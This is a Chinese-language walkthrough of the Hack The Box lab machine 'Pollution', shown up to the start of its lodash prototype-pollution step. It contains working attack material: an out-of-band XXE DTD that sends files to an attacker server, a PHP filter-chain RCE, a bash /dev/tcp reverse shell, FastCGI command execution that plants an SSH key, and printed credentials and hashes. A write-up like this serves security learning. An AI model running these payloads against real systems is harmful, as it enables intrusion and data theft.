靶機簡介

Pollution 的正式域名是 collect.htb,枚舉後發現 forumdevelopers 兩個子網域。其中 forum 是 MyBB 論壇,我們在某篇貼文的附件裡找到了 Burp 的代理紀錄,其中一筆 POST /set/role/admin 帶著 token=ddac62a2...,拿同樣的 token 用自己的 PHPSESSID 重放就會被導向 /admin,而 /admin 的註冊請求是用 XML 傳送的,檢查後發現可以利用 Out-of-Band XXE 讀取檔案。我們先讀 /etc/apache2/sites-available/ 下的設定檔,再讀 /var/www/developers/.htpasswd 破出 Basic Auth 的 developers_group:r0cket,最後讀 login.phpbootstrap.php 拿到 MySQL 帳密與 Redis 密碼 COLLECTR3D1SPASS

Basic Auth 之後還有一層應用程式自己的登入表單,但 session 是存在 Redis 上的,login.php 只檢查 $_SESSION['auth'],於是直接把自己的 session 寫成 auth|b:1; 就進去了。裡頭 ?page= 的檔案引入可以套 PHP Filter Chain 執行程式碼,即可取得 www-data 的 shell。進入後發現 victor 名下的 php-fpm pool,與之正常互動就能以 victor 的身分執行命令,寫入 SSH 公鑰即可登入。

枚舉後發現以 root 執行的 /root/pollution_api,它只看 JWT 裡的 role 判斷權限,所以直接改資料庫把帳號升成 admin 就能取得 admin 的 token,進而打到 /admin/messages/send。該端點用 lodash 的 _.merge 合併使用者可控的請求內容,而該版本的 lodash 存在 Prototype Pollution,汙染 child_process 的選項後即可讓 root 執行任意命令。

Academy x HTB Labs

Box Info

Recon

首先肯定是 nmap 伺候:

# Output truncated for brevity
$ nmap -p- --min-rate 10000 -T4 -Pn -n 10.129.38.17
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6379/tcp open  redis

$ nmap -sC -sV -p22,80,6379 10.129.38.17
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 db:1d:5c:65:72:9b:c6:43:30:a5:2b:a0:f0:1a:d5:fc (RSA)
|   256 4f:79:56:c5:bf:20:f9:f1:4b:92:38:ed:ce:fa:ac:78 (ECDSA)
|_  256 df:47:55:4f:4a:d1:78:a8:9d:cd:f8:a0:2f:c0:fc:a9 (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
6379/tcp open  redis   Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

先試試看 Redis:

$ redis-cli -h 10.129.38.17
10.129.38.17:6379> keys *
(error) NOAUTH Authentication required.

我們目前還不知道密碼,簡單爆破一下也沒結果,那先去網頁看看再說:

10.129.38.17  pollution.htb

逛網頁

看起來是一個專注於「監控環境污染指標」的公司:

在 Contact Us 才發現了正確的域名:

在表單中我們發現了 LOGIN 和 REGISTER 入口:

註冊 aoeu:aoeu 並登入以後就可以到新的頁面:

沒有什麼有趣的東西了。在 /etc/hosts 補上 collect.htb

10.129.38.17  pollution.htb collect.htb

蒐集更多資訊

網站逛得差不多了,來看點其他東西。從 Wappalyzer 看到這是 PHP + Apache Server:

掃描虛擬主機時找到了 forumdevelopers

$ ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u 'http://collect.htb' -H 'Host: FUZZ.collect.htb' -fs 26197
...<SNIP>...
forum                   [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 77ms]
developers              [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 159ms]
:: Progress: [20000/20000] :: Job [1/1] :: 267 req/sec :: Duration: [0:01:14] :: Errors: 0 ::

forum.collect.htb

是個由 MyBB 驅動的公司內部論壇網站:

看底下的 2002-2026,網站本身應該不會有洞。發現可以註冊帳號,註冊 aoeu:htnshtns 登入逛逛看:

登入後進到首頁:

看到有一些文章,而在 “I had problems with the Pollution API” 這篇文章中有人在問 API 相關的問題,還有附上相關附件:

這些可以當作尋找 API 的線索。proxy_history.xml 是個 XML 檔案,結構遵循:

<item>
  <time>Wed Oct 19 18:18:55 BRT 2022</time>
  <url><![CDATA[http://127.0.0.1:3000/auth/login]]></url>
  <host ip="127.0.0.1">127.0.0.1</host>
  <port>3000</port>
  <protocol>http</protocol>
  <method><![CDATA[POST]]></method>
  <path><![CDATA[/auth/login]]></path>
  <extension>null</extension>
  <request base64="true"><![CDATA[UE9T<SNIP>]]></request>
  <status>200</status>
  <responselength>240</responselength>
  <mimetype>JSON</mimetype>
  <response base64="true"><![CDATA[SFRU<SNIP>]]></response>
  <comment></comment>
</item>

看起來就一臉封包的樣子,隨手 grep 了 URL:

$ grep -R '<url>' ./evidences/files/proxy_history.xml
    <url><![CDATA[https://storyset.com/for-figma]]></url>
    <url><![CDATA[http://collect.htb/set/role/admin]]></url>
    <url><![CDATA[http://detectportal.firefox.com/canonical.html]]></url>
    <url><![CDATA[http://127.0.0.1:3000/auth/login]]></url>
    <url><![CDATA[http://collect.htb/]]></url>
    <url><![CDATA[http://detectportal.firefox.com/canonical.html]]></url>
    <url><![CDATA[http://forum.collect.htb/forumdisplay.php?fid=2]]></url>
    <url><![CDATA[http://forum.collect.htb/jscripts/jeditable/jeditable.min.js]]></url>
    <url><![CDATA[http://forum.collect.htb/jscripts/inline_edit.js?ver=1821]]></url>
    <url><![CDATA[http://forum.collect.htb/jscripts/rating.js?ver=1821]]></url>

其中最顯眼的就 http://collect.htb/set/role/admin 啊,仔細看一下:

<item>
  <time>Thu Sep 22 18:29:34 BRT 2022</time>
  <url><![CDATA[http://collect.htb/set/role/admin]]></url>
  <host ip="192.168.1.6">collect.htb</host>
  <port>80</port>
  <protocol>http</protocol>
  <method><![CDATA[POST]]></method>
  <path><![CDATA[/set/role/admin]]></path>
  <extension>null</extension>
  <request base64="true"><![CDATA[UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg==]]></request>
  <status>302</status>
  <responselength>296</responselength>
  <mimetype></mimetype>
  <response base64="true"><![CDATA[SFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBUaHUsIDIyIFNlcCAyMDIyIDIxOjMwOjE0IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjU0IChEZWJpYW4pDQpFeHBpcmVzOiBUaHUsIDE5IE5vdiAxOTgxIDA4OjUyOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNClByYWdtYTogbm8tY2FjaGUNCkxvY2F0aW9uOiAvaG9tZQ0KQ29udGVudC1MZW5ndGg6IDANCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQo=]]></response>
  <comment></comment>
</item>

亂碼看起來就很 base64,把 request 和 response 的內容解密可以得到:

POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf

HTTP/1.1 302 Found
Date: Thu, 22 Sep 2022 21:30:14 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /home
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


我推測只要 /set/role/admin 有附上正確的 token,就可以把該 cookie 設為 admin,試試看:

$ curl -X POST 'http://collect.htb/set/role/admin' -d 'token=ddac62a28254561001277727cb397baf' -b 'PHPSESSID=qh2p91uv2etij667k0iplk6nv7' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host collect.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.38.17
*   Trying 10.129.38.17:80...
* Established connection to collect.htb (10.129.38.17 port 80) from 10.10.17.56 port 34586
* using HTTP/1.x
> POST /set/role/admin HTTP/1.1
> Host: collect.htb
> User-Agent: curl/8.21.0
> Accept: */*
> Cookie: PHPSESSID=qh2p91uv2etij667k0iplk6nv7
> Content-Length: 38
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 38 bytes
< HTTP/1.1 302 Found
< Date: Sun, 06 Sep 2026 13:04:29 GMT
< Server: Apache/2.4.54 (Debian)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: /admin
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host collect.htb:80 left intact

貌似成功了,還把我們導向了 /admin。在 /admin 看到新的登入介面,輸入 aoeu:aoeu

按下送出後會顯示我們註冊成功:

但就沒有下文了,我們還是在 /admin,並且也沒有新的東西讓我們點。

developers.collect.htb

在載入頁面以前會要求我們輸入密碼:

我曾嘗試利用在 forum 看到的使用者搭配 /usr/share/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt 爆破,但都沒有成功。

Shell as www-data

XXE

在整理證據的過程中,我發現帳號註冊請求是用 XML 來傳送的:

既然在 /admin 看到 XML,當然就想到了 XXE。因為看不到輸出,所以從 HackTricks 裡面挑一個 Blind SSRF 來測試,結果還真中了:

$ python3 -m http.server 6060
Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...
10.129.38.17 - - [06/Sep/2026 21:37:59] code 404, message File not found
10.129.38.17 - - [06/Sep/2026 21:37:59] "GET /poc HTTP/1.1" 404 -

那麼我們就可以來玩 Out-of-Bound XXE 了,複製一個 evil.dtd 模板,看能不能抓到 /etc/hostname

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://10.10.17.56:6060/%file;'>">
%eval;
%exfil;

傳送對應請求:

我們這邊成功接收到了 /etc/hostname 的 Base64 編碼:

$ python3 -m http.server 6060
Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...
10.129.38.17 - - [06/Sep/2026 21:59:06] "GET /evil.dtd HTTP/1.1" 200 -
10.129.38.17 - - [06/Sep/2026 21:59:07] code 404, message File not found
10.129.38.17 - - [06/Sep/2026 21:59:07] "GET /cG9sbHV0aW9uCg== HTTP/1.1" 404 -
$ echo -ne 'cG9sbHV0aW9uCg==' | base64 -d
pollution

既然我們能看到檔案,那就試試看能不能看到 developers.collect.htb 的密碼。後端用的是 Apache,就圍繞它去找 Config Files,最後是 /etc/apache2/sites-available/000-default.conf 找到了立足點:

<VirtualHost *:80>
...<SNIP>...
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/collect/public
...<SNIP>...
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

看來網站程式碼的目錄都在 var/www/<sitename>,在 sites-available 目錄下繼續枚舉,果然找到了 /etc/apache2/sites-available/developers.collect.htb.conf

<VirtualHost *:80>
...<SNIP>...
	ServerAdmin collect@localhost
	ServerName developers.collect.htb
	DocumentRoot /var/www/developers
...<SNIP>...
	<Directory "/var/www/developers">
		AuthType Basic
		AuthName "Restricted Content"
		AuthUserFile /var/www/developers/.htpasswd
		Require valid-user
	</Directory>
	

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
...<SNIP>...
</VirtualHost>

看到了關鍵字 /var/www/developers/.htpasswd,解碼後果然看到了 Hash:

developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1

丟去 hashcatrockyou.txt 解碼馬上找到了密碼 r0cket

$ hashcat evidences/cred/developers_account_passwords.txt ~/Shared/wordlists/rockyou.txt
...<SNIP>...
$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
...<SNIP>...

Redis

developers_group:r0cket 登入後又看到了一個登入介面 ._ .

用之前註冊的帳密和 developers_group:r0cket 都登不進去,於是開始利用 Out-of-Bound XXE 從 /var/www/developers/login.php 看原始碼,結果馬上就看到:

<?php
require './bootstrap.php';
 
if (isset($_SESSION['auth']) && $_SESSION['auth'] == True) {
    die(header('Location: /'));
}
 
$db = new mysqli('localhost', 'webapp_user', 'Str0ngP4ssw0rdB*12@1', 'developers');
$db->set_charset('utf8mb4');
$db->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);

mysqli 函式看到了 MySQL 帳密 webapp_user:Str0ngP4ssw0rdB*12@1,至於 Session 在 bootstrap.php 就已經綁定到 Redis 上了:

<?php
 
ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');
 
session_start();
 
require '../vendor/autoload.php';

我們最開始枚舉就有看到 Redis 的端口,拿 COLLECTR3D1SPASS 當作密碼,透過 redis-cli 連線就進去了:

$ redis-cli -h pollution.htb
pollution.htb:6379> AUTH COLLECTR3D1SPASS
OK
pollution.htb:6379> KEYS *
1) "PHPREDIS_SESSION:qh2p91uv2etij667k0iplk6nv7"
2) "PHPREDIS_SESSION:bb3uvmvohfcqdvihvmg2bdois0"

那個 bb3uvmvohfcqdvihvmg2bdois0 就是我們的 PHPREDIS_SESSION

透過 login.php 可以看出只要 $_SESSION['auth'] == True 就可以登入,反正帳密判斷式不輸入也不會走到:

<?php
require './bootstrap.php';
 
if (isset($_SESSION['auth']) && $_SESSION['auth'] == True) {
    die(header('Location: /'));
}
// ...<SNIP>...

所以在 Redis 設定 auth = True

pollution.htb:6379> SET PHPREDIS_SESSION:bb3uvmvohfcqdvihvmg2bdois0 'auth|b:1;'
OK

重新刷新後就可以進去了:

PHP Filter to RCE

看到首頁 URL 長 http://developers.collect.htb/?page=home,一臉很好 LFI 的樣子。我首先用 ffuf 搭配 LFI-Jhaddix.txt 爆破,但沒有掃出東西。之後換 PHP Filter 就找到漏洞了:

然後我這裡看了別人的 writeup 才知道 PHP Filter 可以 RCE,具體原理可以看我寫的另一篇文章 PHP Filter to RCE。總之我們利用這個工具 製作酬載:

$ python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]) ?>'

[+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]) ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSkgPz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|<SNIP>|convert.base64-decode/resource=php://temp

生成 Reverse Shell 的 base64 編碼:

$ base64 <<< 'bash -c "bash -i >& /dev/tcp/10.10.17.56/6061 0>&1"'
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy41Ni82MDYxIDA+JjEiCg==

最後在 cmd 輸入 echo 'YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy41Ni82MDYxIDA+JjEiCg==' | base64 -d | bash 就可以拿到 shell 了:

$ nc -lvnp 6061
listening on [any] 6061 ...

connect to [10.10.17.56] from (UNKNOWN) [10.129.38.17] 47714
bash: cannot set terminal process group (973): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pollution:~/developers$

Shell as victor

Password Attacks [failed]

枚舉一下,發現系統上還有另一個使用者 victor

www-data@pollution:~/developers$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
victor:x:1002:1002::/home/victor:/bin/bash

記得我們在 login.php 有看到 MySQL 的帳密 webapp_user:Str0ngP4ssw0rdB*12@1,用 mysql 連線,果然成功進去了,可以看到有不少資料庫:

www-data@pollution:~/developers$ mysql -u 'webapp_user' -p
Enter password:
...<SNIP>...
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| developers         |
| forum              |
| information_schema |
| mysql              |
| performance_schema |
| pollution_api      |
| webapp             |
+--------------------+
7 rows in set (0.001 sec)

在逐一列舉後找到了以下機敏資料:

MariaDB [developers]> select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | c89efc49ddc58ee4781b02becc788d14 |
+----+----------+----------------------------------+
1 row in set (0.001 sec)

MariaDB [forum]> select username, password, salt from mybb_users;
+---------------------+----------------------------------+----------+
| username            | password                         | salt     |
+---------------------+----------------------------------+----------+
| administrator_forum | b254efc2c5716af2089ffeba1abcbf30 | DFFbL50R |
| john                | e1ec52d73242b78fdee6be117569b602 | UsWOsbCe |
| victor              | b454fd07d44b27f1d528efba841c9717 | Guls6xA8 |
| sysadmin            | 477a429cddfc475b9100958cae9204b1 | 3aUhiPN0 |
| jeorge              | 5d13d9d4b1f368280b8426800a85702e | 7HINOv17 |
| lyon                | 5eab3ec757f8352597ab74361fda8bcc | glx7Hpzh |
| jane                | 972470c4c1a3f53029e56007abcf39fc | YGjmCmvg |
| karldev             | 285127d01d188c8827c9fded33bf6f9e | KUWyAcfh |
| aoeu                | 26c37c9a6b2a91830bca377c5613b809 | 4K21Fd4J |
+---------------------+----------------------------------+----------+
9 rows in set (0.000 sec)

MariaDB [pollution_api]> select * from users;
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt           | updatedAt           |
+----+----------+----------+------+---------------------+---------------------+
|  1 | aoeu     | aoeu     | user | 2026-09-06 13:05:59 | 2026-09-06 13:05:59 |
+----+----------+----------+------+---------------------+---------------------+
1 row in set (0.000 sec)

MariaDB [webapp]> select * from users;
+----+----------+----------------------------------+-------+
| id | username | password                         | role  |
+----+----------+----------------------------------+-------+
|  1 | admin    | c89efc49ddc58ee4781b02becc788d14 | admin |
|  3 | aoeu     | 05f60ba25a20f67f442f4127e4d6c4dd | admin |
+----+----------+----------------------------------+-------+
2 rows in set (0.000 sec)

看看在 forum 能不能拿到 victor 的密碼,在 functions_user.php 看到密碼生成使用 $hash = md5(md5($salt).md5($password));,本來想用 hashcat -hh 搜雜湊格式,沒找到,後來改搜平台名稱才找到對應的模式:

$ hashcat -hh | grep 'md5(md5($salt).md5($pass))'

$ hashcat -hh | grep -iE 'mybb|invision'
   2811 | MyBB 1.2+, IPB2+ (Invision Power Board)                    | Forums, CMS, E-Commerce

然而用 hashcat 卻什麼都沒爆出來:

$ cat forum.txt
administrator_forum:b254efc2c5716af2089ffeba1abcbf30:DFFbL50R
john:e1ec52d73242b78fdee6be117569b602:UsWOsbCe
victor:b454fd07d44b27f1d528efba841c9717:Guls6xA8
sysadmin:477a429cddfc475b9100958cae9204b1:3aUhiPN0
jeorge:5d13d9d4b1f368280b8426800a85702e:7HINOv17
lyon:5eab3ec757f8352597ab74361fda8bcc:glx7Hpzh
jane:972470c4c1a3f53029e56007abcf39fc:YGjmCmvg
karldev:285127d01d188c8827c9fded33bf6f9e:KUWyAcfh
aoeu:3effc4d7c5f139b1a7ebe570236340ec:DO6Vr5OT

$ hashcat -m 2811 forum.txt ~/Shared/wordlists/rockyou.txt --username -O
...<SNIP>...
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 2811 (MyBB 1.2+, IPB2+ (Invision Power Board))
Hash.Target......: forum.txt
...<SNIP>...

FastCGI

那就先看看其它攻擊面,枚舉一段時間後我注意到 victor 有在跑一個叫 php-fpm: pool victor 的行程:

www-data@pollution:~/developers$ ps aux | grep victor
victor      1083  0.0  0.4 265840 15984 ?        S    Sep06   0:00 php-fpm: pool victor
victor      1084  0.0  0.4 265840 15984 ?        S    Sep06   0:00 php-fpm: pool victor
www-data    6727  0.0  0.0   6608   700 pts/0    S+   00:45   0:00 grep victor

後來找了一圈資料,才發現不需要漏洞,正常互動就可以執行命令了。搜尋 PHP-FPM code execution client 找到了這個 Python 腳本,遵循用法即可拿到 user.txt

www-data@pollution:/tmp$ python3 fpm.py -c '<?php system("cat /home/victor/user.txt"); ?>' -p 9000 127.0.0.1 /var/www/developers/index.php
...<SNIP>...
779e************************c8b0

試了一些拿 shell 的方法,最後透過寫入我們 SSH 公鑰的方式取得了 victor 的 shell:

www-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '<?php system("ls -al /home/victor/.ssh");?>'
...<SNIP>...
total 8
drwx------  2 victor victor 4096 Nov 21  2022 .
drwx------ 16 victor victor 4096 Nov 21  2022 ..

www-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '<?php system("echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ8003uUny50yIblpanwfMV2w4W7l2ODA3epo8g3pKr/ abb00717@abb00717-kali\" > /home/victor/.ssh/authorized_keys");?>'
...<SNIP>...

www-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '<?php system("chmod 600 /home/victor/.ssh/authorized_keys");?>'
...<SNIP>...

從 SSH 正常登入就可以了:

$ ssh victor@pollution.htb -i ./victor_key
...<SNIP>...
victor@pollution:~$ id
uid=1002(victor) gid=1002(victor) groups=1002(victor)

Shell as root

在 victor 的家目錄下我們找到了叫 pollution_api 的專案:

victor@pollution:~$ ls -al pollution_api/
total 116
drwxr-xr-x  8 victor victor  4096 Nov 21  2022 .
drwx------ 16 victor victor  4096 Nov 21  2022 ..
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 controllers
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 functions
-rw-r--r--  1 victor victor   528 Sep  2  2022 index.js
drwxr-xr-x  5 victor victor  4096 Nov 21  2022 logs
-rwxr-xr-x  1 victor victor   574 Aug 26  2022 log.sh
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 models
drwxr-xr-x 97 victor victor  4096 Nov 21  2022 node_modules
-rw-r--r--  1 victor victor   160 Aug 26  2022 package.json
-rw-r--r--  1 victor victor 71730 Aug 26  2022 package-lock.json
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 routes

稍微又枚舉了一下,發現該專案居然是以 root 身份執行的:

victor@pollution:~$ ps aux | grep pollution_api
root        1413  0.0  1.8 1664060 75368 ?       Sl   Sep06   0:00 /usr/bin/node /root/pollution_api/index.js
victor      6896  0.0  0.0   6268   644 pts/1    S+   01:03   0:00 grep pollution_api

如果我們能找到該專案的漏洞,就可能拿到 root 權限。從 index.js 看到專案開在端口 3000:

app.get('/',(req,res)=>{
    res.json({Status: "Ok", Message: 'Read documentation from api in /documentation'});
})
 
app.use('/auth',require('./routes/auth'));
app.use('/client',require('./routes/client'));
app.use('/admin',require('./routes/admin'));
app.use('/documentation',require('./routes/documentation'));
 
app.listen(3000, '127.0.0.1');
console.log('Listen on http://localhost:3000');

透過 /documentation 可以看到詳細的 API 端點介紹:

victor@pollution:~$ curl 'http://127.0.0.1:3000/documentation'
{
  "Documentation": {
    "Routes": {
      "/": {
        "Methods": "GET",
        "Params": null
      },
      "/auth/register": {
        "Methods": "POST",
        "Params": {
          "username": "username",
          "password": "password"
        }
      },
      "/auth/login": {
        "Methods": "POST",
        "Params": {
          "username": "username",
          "password": "password"
        }
      },
      "/client": {
        "Methods": "GET",
        "Params": null
      },
      "/admin/messages": {
        "Methods": "POST",
        "Params": {
          "id": "messageid"
        }
      },
      "/admin/messages/send": {
        "Methods": "POST",
        "Params": {
          "text": "message text"
        }
      }
    }
  }
}

修改帳號權限至 admin

先註冊帳號:

victor@pollution:~$ curl 'http://127.0.0.1:3000/auth/register' -X POST -d '{"username": "aoeu", "password": "aoeu"}' -H 'Content-Type: application/json'
{"Status":"Ok"}

帳戶註冊與登入的邏輯都在 auth.js 裡頭,透過 /register 發現 User 有分 role,預設使用 user/login 會從資料庫抓 role 來決定 signtoken 的權限。

router.post('/register', async (req, res) => {
    if (req.body.username != null && req.body.password != null) {
        try {
            const find = await User.findAll({
                where: {
                    username: req.body.username
                }
            })
            if (find.length == 0) {
 
                User.create({
                    username: req.body.username,
                    password: req.body.password,
                    role: "user"
                });
 
                exec('/home/victor/pollution_api/log.sh log_register');
 
                return res.json({
                    Status: "Ok"
                });
            }
 
            return res.json({
                Status: "This user already exists"
            });
        } catch (err) {
            return res.json({
                Status: "Error"
            });
        }
    }
    return res.json({
        Status: "Parameters not found"
    });
})
 
router.post('/login', async (req, res) => {
    if (req.body.username != null && req.body.password != null) {
        try {
            const find = await User.findAll({
                where: {
                    username: req.body.username,
                    password: req.body.password
                }
            });
            if (find.length > 0) {
 
                exec('/home/victor/pollution_api/log.sh log_login');
 
                const token = signtoken({
                    user: find[0].username,
                    is_auth: true,
                    role: find[0].role
                });
                return res.json({
                    Status: "Ok",
                    Header: {
                        "x-access-token": token
                    }
                });
            }
 
            return res.json({
                Status: "Error",
                Message: "Invalid Credentials"
            });
        } catch (err) {
            return res.json({
                Status: "Error"
            });
        }
    }
 
    return res.json({
        Status: "Parameters not found"
    });
})

log.sh 是啥?

若你好奇 log.sh 是啥,他就只是一個根據參數自動生成 Log 的腳本而已:

#!/bin/bash
 
if [ $1 == 'log_message' ]
then
 
    date=$(date '+%d-%m-%Y-%H:%M:%S');
# ...<SNIP>...

因為 $1 沒有加雙引號,所以會造成一些問題,但重點是我們根本沒有機會傳遞參數,因此這裡不展開。

admin.js 也能看到它是依據 token 比較權限的,而非根據資料庫:

router.use('/', async (req, res, next) => {
    if (req.headers["x-access-token"]) {
        const token = decodejwt(req.headers["x-access-token"]);
        if (token) {
            const find = await User.findAll({
                where: {
                    username: token.user,
                    role: token.role
                }
            });
 
            if (find.length > 0) {
                if (find[0].username == token.user && find[0].role == token.role && token.role == "admin") {
                    return next();
                }
// ...<SNIP>...

不過既然我們都有資料庫的存取權限了,那就直接改就好啦:

MariaDB [pollution_api]> select * from users where username = "aoeu";
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt           | updatedAt           |
+----+----------+----------+------+---------------------+---------------------+
|  1 | aoeu     | aoeu     | user | 2026-09-08 02:55:37 | 2026-09-08 02:55:37 |
+----+----------+----------+------+---------------------+---------------------+
1 row in set (0.001 sec)

MariaDB [pollution_api]> update users set role = 'admin' where username = "aoeu";
Query OK, 1 row affected (0.003 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [pollution_api]> select * from users where username = "aoeu";
+----+----------+----------+-------+---------------------+---------------------+
| id | username | password | role  | createdAt           | updatedAt           |
+----+----------+----------+-------+---------------------+---------------------+
|  1 | aoeu     | aoeu     | admin | 2026-09-08 02:55:37 | 2026-09-08 02:55:37 |
+----+----------+----------+-------+---------------------+---------------------+
1 row in set (0.001 sec)

登入後成功拿到 x-access-token

victor@pollution:~$ curl 'http://127.0.0.1:3000/auth/login' -X POST -d '{"username": "aoeu", "password": "aoeu"}' -H 'Content-Type: application/json'
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW9ldSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4ODgzNjQzOCwiZXhwIjoxNzg4ODQwMDM4fQ._8SC7GiRt14YXNLaPD4fcR7pVTVNTOVbQJQ6ptMzcEM"}}victor@pollution:~$

雖然目前不知道管理員能幹嘛,但總之透過 jwt.io 解碼可以看到我們確實是管理員了:

{
  "user": "aoeu",
  "is_auth": true,
  "role": "admin",
  "iat": 1788836438,
  "exp": 1788840038
}

JavaScript Prototype Pollution

接著我看了很久,實在沒看出什麼東西,就去看 0xdf 的 writeup 了。他首先用 Snyk 掃出了 lodash 這個套件存在多個 Prototype Pollution 漏洞,其中一個 CVE 說明了 merge 函式存在的問題:

merge (target, source)
  foreach property of source
    if property exists and is an object on both the target and the source
      merge(target[property], source[property])
    else
      target[property] = source[property]

剛好我們的 Messages_send.js 就有用到 merge

const messages_send = async (req, res) => {
    const token = decodejwt(req.headers['x-access-token'])
    if (req.body.text) {
        const message = {
            user_sent: token.user,
            title: "Message for admins",
        };
 
        _.merge(message, req.body);
// ...<SNIP>...
}

